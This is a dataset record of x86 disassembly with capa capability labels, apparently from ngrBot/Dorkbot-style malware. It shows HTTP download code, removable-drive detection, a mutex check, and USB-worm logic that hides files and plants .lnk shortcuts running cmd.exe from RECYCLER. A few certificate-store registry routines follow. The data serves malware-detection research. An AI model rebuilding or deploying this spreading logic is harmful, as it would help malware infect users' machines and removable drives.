joyce8/EMBER2024-capa huggingface dataset:
Function at 0x9baa10
Capabilities:
Check http status code
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Mozilla_4.0
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [0x9fb860]
test esi, esi
jne 0x9baa6e
push esi
push esi
push esi
push esi
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [0x9fb860], esi
mov edi, dword [ebp + 0x14]
xor eax, eax
test edi, edi
je 0x9baa7e
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0x4000000
push eax
mov eax, dword [ebp + 8]
push edi
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
xor edi, edi
cmp ebx, edi
jne 0x9baaa3
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
push 0x20000013
push esi
mov dword [ebp - 8], 0xc8
mov dword [ebp - 0xc], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x9baadb
mov eax, dword [ebp - 8]
cmp eax, 0xc8
jb 0x9baa9a
cmp eax, 0x12b
ja 0x9baa9a
mov esi, dword [ebp + 0x10]
push edi
push edi
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x9baa9a
mov dword [esi], edi
mov dword [0x9fb85c], edi
mov dword [0x9fb858], edi
mov dword [0x9fb854], edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 4], 1
lea ecx, [ecx]
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [0x9fb85c], eax
add esp, 4
mov dword [eax + 0xffc], 0
cmp dword [0x9fb854], 0
jne 0x9bab41
mov eax, dword [0x9fb85c]
mov dword [0x9fb854], eax
jmp 0x9bab57
mov eax, dword [0x9fb858]
mov ecx, dword [0x9fb85c]
mov dword [eax + 0xffc], ecx
mov eax, dword [0x9fb85c]
lea edx, [ebp - 4]
push edx
push 0xff8
push eax
push ebx
mov dword [0x9fb858], eax
call edi
mov ecx, dword [0x9fb85c]
mov eax, dword [ebp - 4]
mov dword [ecx + 0xff8], eax
mov eax, dword [ebp - 4]
add dword [esi], eax
mov ecx, dword [esi]
test eax, eax
jne 0x9bab10
inc ecx
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, dword [ebp + 0xc]
add esp, 4
mov dword [edi], eax
mov eax, dword [0x9fb854]
xor esi, esi
xor ecx, ecx
mov dword [0x9fb85c], eax
test ecx, ecx
je 0x9babb2
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [0x9fb85c]
add esp, 4
test eax, eax
je 0x9babe0
mov edx, dword [eax + 0xff8]
push edx
push eax
mov eax, dword [edi]
add eax, esi
push eax
call fcn.009b3640
mov eax, dword [0x9fb85c]
add esp, 0xc
add esi, dword [eax + 0xff8]
mov ecx, eax
mov eax, dword [eax + 0xffc]
jmp 0x9bab9b
mov ecx, dword [edi]
push ebx
mov byte [esi + ecx], 0
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x9bb300
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push esi
push edi
push 0x208
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x206
xor esi, esi
mov edi, eax
lea ecx, [ebp - 0x20a]
xor eax, eax
push esi
push ecx
mov word [ebp - 0x20c], ax
call sub.MSVCRT.dll_memset
push 0x206
lea eax, [ebp - 0x412]
xor edx, edx
push esi
push eax
mov word [ebp - 0x414], dx
call sub.MSVCRT.dll_memset
add esp, 0x18
cmp edi, esi
jne 0x9bb37b
cmp dword [ebp + 8], esi
je 0x9bb370
pop edi
mov eax, str.lol.exe
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, 0x9c2bac
pop esi
mov esp, ebp
pop ebp
ret
push 0x208
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x9bb365
push 4
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push esi
push esi
push esi
push esi
lea ecx, [ebp - 4]
push ecx
push esi
push esi
lea edx, [ebp - 0x414]
push edx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x9bb3cc
mov dword [ebp - 4], 0x1337b00b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.30e4qa1
call ebx
test eax, eax
jbe 0x9bb3f6
mov edi, edi
movsx eax, byte [esi + str.30e4qa1]
add dword [ebp - 4], eax
push str.30e4qa1
inc esi
call ebx
cmp esi, eax
jb 0x9bb3e0
movzx eax, byte [ebp - 4]
cdq
mov ecx, 0x1a
idiv ecx
pop ebx
add edx, 0x41
mov word [edi], dx
movzx eax, byte [ebp - 3]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 2], dx
movzx eax, byte [ebp - 2]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 4], dx
movzx eax, byte [ebp - 1]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 6], dx
movzx eax, byte [ebp - 2]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 8], dx
movzx edx, byte [ebp - 4]
movzx eax, byte [ebp - 1]
add eax, edx
cdq
idiv ecx
add edx, 0x61
cmp dword [ebp + 8], 0
mov word [edi + 0xa], dx
je 0x9bb467
push str..exe
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x9bd6b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x9fa294]
sub esp, 8
test eax, eax
je 0x9bd6e0
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 4]
push edx
mov edx, dword [ebp + 8]
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call eax
jmp 0x9bd703
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x9bd759
mov edx, dword [ebp + 0x14]
mov eax, edx
push esi
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x9bd710
sub eax, esi
sar eax, 1
lea ecx, [eax + eax + 2]
mov eax, dword [ebp - 4]
push ecx
push edx
mov edx, dword [ebp + 0x10]
push 1
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop esi
test eax, eax
jne 0x9bd74f
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x9bee40
Capabilities:
Create shortcut via ishelllink
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
lea eax, [ebp - 4]
push eax
push 0x9c3614
push 1
push 0
push 0x9c3634
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x9befdb
push ebx
push esi
push edi
push 0x207
lea ecx, [ebp - 0x317]
push 0
push ecx
mov byte [ebp - 0x318], 0
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
push edx
lea eax, [ebp - 0x318]
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x9c2c78
lea ecx, [ebp - 0x318]
push ecx
call edi
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x318]
push eax
call edi
push 0x15c
lea ecx, [ebp - 0x474]
push 0
push ecx
mov dword [ebp - 0x478], 0
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0x14]
add esp, 0xc
push 0x1000
push 0x160
lea edx, [ebp - 0x478]
push edx
push 0
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov eax, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x50]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x318]
push edx
push eax
mov eax, dword [ecx + 0x2c]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push 4
push str.shell32.dll
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x9c3624
push eax
mov eax, dword [ecx]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x3c]
push 7
push eax
call edx
mov esi, eax
test esi, esi
jl 0x9befcb
push 0x107
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 0x14]
add esp, 0xc
push ecx
lea edx, [ebp - 0x110]
push edx
call ebx
push str..lnk
lea eax, [ebp - 0x110]
push eax
call edi
push 0x104
lea ecx, [ebp - 0x680]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x110]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
lea edx, [ebp - 0x680]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
mov esi, eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x9befe0
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.009c0f10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x7ff
mov ebx, eax
lea eax, [ebp - 0xfff]
push 0
push eax
mov byte [ebp - 0x1000], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x7ff]
push 0
push ecx
mov byte [ebp - 0x800], 0
call sub.MSVCRT.dll_memset
add esp, 0x18
push str..lnk
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push eax
call edi
test eax, eax
je 0x9bf11b
push 0x9c13d8
push esi
call edi
test eax, eax
je 0x9bf11b
push 0x9c2fcc
push esi
call edi
test eax, eax
je 0x9bf11b
cmp dword [ebp + 0x10], 0
je 0x9bf07f
test bl, 0x10
je 0x9bf11b
cmp dword [ebp + 0x14], 0
je 0x9bf10f
push str.RECYCLER
push esi
call edi
test eax, eax
je 0x9bf11b
push 0x5c
push esi
call sub.MSVCRT.dll_strrchr
mov ebx, dword [ebp + 0xc]
push 0x5c
push ebx
mov edi, eax
call sub.MSVCRT.dll_strrchr
add esp, 0x10
test eax, eax
je 0x9bf11b
test edi, edi
je 0x9bf11b
inc eax
push eax
push str._c__start___cd__RECYCLER_s
lea edx, [ebp - 0x1000]
push 0x7ff
push edx
call sub.MSVCRT.dll__snprintf
inc edi
push edi
push str.__windir__explorer.exe___cd___s
lea eax, [ebp - 0x800]
push 0x7ff
push eax
call sub.MSVCRT.dll__snprintf
push ebx
push esi
lea ecx, [ebp - 0x800]
push ecx
lea edx, [ebp - 0x1000]
push edx
push str._windir__system32cmd.exe
call fcn.009bee40
add esp, 0x34
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x9bf130
Capabilities:
Enumerate files on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
push ebx
push esi
xor ebx, ebx
push 0x105
lea eax, [ebp - 0x34f]
push ebx
push eax
mov byte [ebp - 0x350], bl
call sub.MSVCRT.dll_memset
push 0x103
lea ecx, [ebp - 0x107]
push ebx
push ecx
mov byte [ebp - 0x108], bl
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0x18
push esi
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x350]
push 0x9c2fe0
push eax
call fcn.009bedf0
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x9bf1c0
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x21c]
push eax
push esi
push 0x9c2fd8
lea ecx, [ebp - 0x108]
push 0x103
push ecx
call sub.MSVCRT.dll__snprintf
mov edi, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push edi
push ebx
push edx
lea eax, [ebp - 0x108]
push eax
call fcn.009befe0
mov edx, dword [ebp - 4]
add esp, 0x24
lea ecx, [ebp - 0x248]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x9bf29a
lea ebx, [ebx]
push 8
lea eax, [ebp - 0x21c]
push str.RECYCLER
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
je 0x9bf285
lea ecx, [ebp - 0x21c]
push str..inf
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x9bf285
lea edx, [ebp - 0x21c]
push edx
push esi
push 0x9c2fd8
lea eax, [ebp - 0x108]
push 0x103
push eax
call sub.MSVCRT.dll__snprintf
mov ecx, dword [ebp + 0xc]
push edi
push ebx
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.009befe0
add esp, 0x24
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x248]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x9bf220
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x9bf2b0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push edi
xor ebx, ebx
push 0x104
mov dword [ebp - 4], ebx
call fcn.009b3810
mov edi, eax
add esp, 4
cmp edi, ebx
jne 0x9bf2db
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
push esi
push ecx
push str.._c:
push edi
call sub.MSVCRT.dll_sprintf
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push 3
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x9bf375
push 0x3ff
lea edx, [ebp - 0x413]
push ebx
push edx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x414], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 8]
push eax
push 0x400
lea ecx, [ebp - 0x414]
push ecx
push 0xc
lea edx, [ebp - 0x14]
push edx
push 0x2d1400
push esi
mov dword [ebp - 0x410], 0x400
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x9bf375
cmp dword [ebp - 0x3f8], 7
jne 0x9bf375
mov dword [ebp - 4], 1
push edi
call fcn.009b37f0
mov eax, dword [ebp - 4]
add esp, 4
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x9bf9e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push 0x1ff
lea eax, [ebp - 0x203]
push 0
push eax
mov byte [ebp - 0x204], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x204]
xor eax, eax
push ecx
push 0x1ff
mov byte [ebp - 4], 0
mov word [ebp - 3], ax
mov byte [ebp - 1], al
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x9bfa8d
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea esi, [ebp - 0x204]
lea ebx, [ebx]
lea edx, [ebp - 4]
push 4
push edx
call fcn.009b24e0
mov al, byte [esi]
add esp, 8
push 0x9c3040
lea ecx, [ebp - 4]
push ecx
mov byte [ebp - 4], al
call edi
lea edx, [ebp - 4]
push edx
call fcn.009bf2b0
add esp, 4
test eax, eax
je 0x9bfa80
lea eax, [ebp - 4]
push eax
call fcn.009bf430
add esp, 4
test eax, eax
je 0x9bfa80
inc ebx
nop
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x9bfa80
cmp byte [esi], cl
jne 0x9bfa40
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x9c0910
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push edi
push 0x103
lea eax, [ebp - 0x20f]
push 0
push eax
mov byte [ebp - 0x210], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.009ba5d0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x103
lea ecx, [ebp - 0x10b]
push 0
push ecx
mov dword [0x9fa70c], eax
mov byte [ebp - 0x10c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
push 0x104
lea edx, [ebp - 0x10c]
push edx
push eax
mov byte [ebp - 8], 0
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x9c09cf
push 3
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.009b2440
lea edx, [ebp - 8]
push edx
call fcn.009bf2b0
add esp, 4
test eax, eax
je 0x9c09cf
push 5
push 0
push 0
lea eax, [ebp - 8]
push eax
push str.OPEN
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [0x9fb500], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call main
add esp, 4
call fcn.009b3870
cdq
mov ecx, 0xa
idiv ecx
mov esi, edx
inc esi
call fcn.009b3870
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0x1f4
imul edx, esi
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.FvLQ49Il
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x9c0a38
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 2
je 0x9c0a38
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.30e4qa1
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.30e4qa1
call fcn.009b1e60
push eax
push str._08x
lea edx, [ebp - 0x210]
push 0x103
push edx
call sub.MSVCRT.dll__snprintf
lea eax, [ebp - 0x210]
push eax
call fcn.009b4d00
add esp, 0x1c
test eax, eax
jne 0x9c0a7f
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push str.ngrBot
call fcn.009b73e0
add esp, 8
cmp eax, 1
jne 0x9c0a9e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push str.ngrBot
call fcn.009b7330
push 0
call fcn.009bb300
add esp, 0xc
mov esi, eax
call fcn.009b6850
push 0x208
push 0x9fafb0
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push edi
push str._s_s.scr
push 0x9fada0
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x10
push 0
push 0
push 0x104
push 0x9fac50
push 0xffffffffffffffff
push 0x9fada0
push 0
push 0
call edi
push 0x208
push esi
push 0x9fb1b8
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0x104
push 0x9fb3e0
push 0xffffffffffffffff
push esi
push 0
push 0
call edi
xor eax, eax
mov ecx, 0x14c
cmp word [0x7ffe002c], cx
setne al
mov dword [0x9fb504], eax
test eax, eax
je 0x9c0b5f
call fcn.009ba990
push 0x9c4
mov dword [0x9fb508], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x9c6d28
call fcn.009b5ce0
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1001bc6
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
lea eax, [ebp - 4]
push eax
push 0x20019
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp + 0xc], eax
cmp eax, ebx
jne 0x1001c81
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
lea eax, [ebp + 8]
push eax
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
mov edi, 0x10011ac
push edi
push dword [ebp - 4]
mov dword [ebp + 8], ebx
call esi
mov dword [ebp + 0xc], eax
cmp eax, ebx
jne 0x1001c7f
push dword [ebp + 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x1001c37
mov dword [ebp + 0xc], 8
jmp 0x1001c71
lea ecx, [ebp + 8]
push ecx
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push edi
push dword [ebp - 4]
call esi
mov dword [ebp + 0xc], eax
cmp eax, ebx
jne 0x1001c71
push dword [ebp + 8]
push dword [ebp - 8]
push 0x10001
call dword [sym.imp.CRYPT32.dll_CertCreateCertificateContext]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
cmp eax, ebx
jne 0x1001c71
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0xc], eax
cmp dword [ebp - 8], ebx
je 0x1001c7f
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
cmp dword [ebp - 4], ebx
pop ebx
je 0x1001c90
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0xc]
leave
ret 0xc
Function at 0x10020bd
Capabilities:
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x1004004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x210]
push eax
push 0x20019
xor esi, esi
push esi
push 0x1001220
push 0x80000002
mov dword [ebp - 0x210], esi
mov dword [ebp - 0x218], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, eax
cmp edi, esi
jne 0x10021c4
mov dword [ebp - 0x214], esi
push ebx
lea eax, [ebp - 0x228]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x214]
mov dword [ebp - 0x21c], 0x104
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
inc dword [ebp - 0x214]
mov edi, eax
cmp edi, esi
jne 0x10021a4
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x210]
call fcn.01001bc6
mov ebx, dword [ebp - 0x218]
mov edi, eax
cmp edi, esi
jne 0x10021b8
push esi
push 1
push ebx
push dword [ebp - 0x220]
call dword [sym.imp.CRYPT32.dll_CertAddCertificateContextToStore]
test eax, eax
je 0x10021b0
push ebx
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
mov dword [ebp - 0x218], esi
jmp 0x1002119
cmp edi, 0x103
jne 0x10021c3
xor edi, edi
jmp 0x10021c3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp ebx, esi
je 0x10021c3
push ebx
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
pop ebx
cmp dword [ebp - 0x210], esi
je 0x10021d8
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.010029f7
leave
ret 4
Function at 0x10021ef
Capabilities:
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x1004004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x210]
push eax
push 0x20019
xor edi, edi
push edi
push 0x1001290
push 0x80000002
mov dword [ebp - 0x210], edi
mov dword [ebp - 0x214], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
cmp esi, edi
jne 0x100238a
push edi
push edi
push edi
push edi
push 2
call dword [sym.imp.CRYPT32.dll_CertOpenStore]
mov dword [ebp - 0x21c], eax
cmp eax, edi
jne 0x100225e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1002375
push eax
call fcn.010020bd
mov esi, eax
cmp esi, edi
jne 0x1002375
push ebx
mov ebx, dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
mov dword [ebp - 0x218], edi
lea eax, [ebp - 0x240]
push eax
push edi
push edi
push edi
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x218]
mov dword [ebp - 0x224], 0x104
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
inc dword [ebp - 0x218]
mov esi, eax
cmp esi, edi
jne 0x100235a
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x210]
call fcn.01001bc6
mov esi, eax
cmp esi, edi
jne 0x1002364
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x228]
push eax
push dword [ebp - 0x21c]
push dword [ebp - 0x214]
call fcn.01001c9c
mov esi, eax
cmp esi, edi
jne 0x1002364
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 0x220]
lea eax, [ebp - 0x20c]
push dword [ebp - 0x228]
push eax
push dword [ebp - 0x210]
call fcn.01001e03
mov esi, eax
cmp esi, edi
jne 0x1002364
push dword [ebp - 0x214]
call ebx
mov dword [ebp - 0x214], edi
jmp 0x100227b
cmp esi, 0x103
jne 0x1002374
xor esi, esi
cmp dword [ebp - 0x214], edi
je 0x1002374
push dword [ebp - 0x214]
call ebx
pop ebx
cmp dword [ebp - 0x21c], edi
je 0x100238a
push edi
push dword [ebp - 0x21c]
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
cmp dword [ebp - 0x210], edi
je 0x100239e
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.010029f7
leave
ret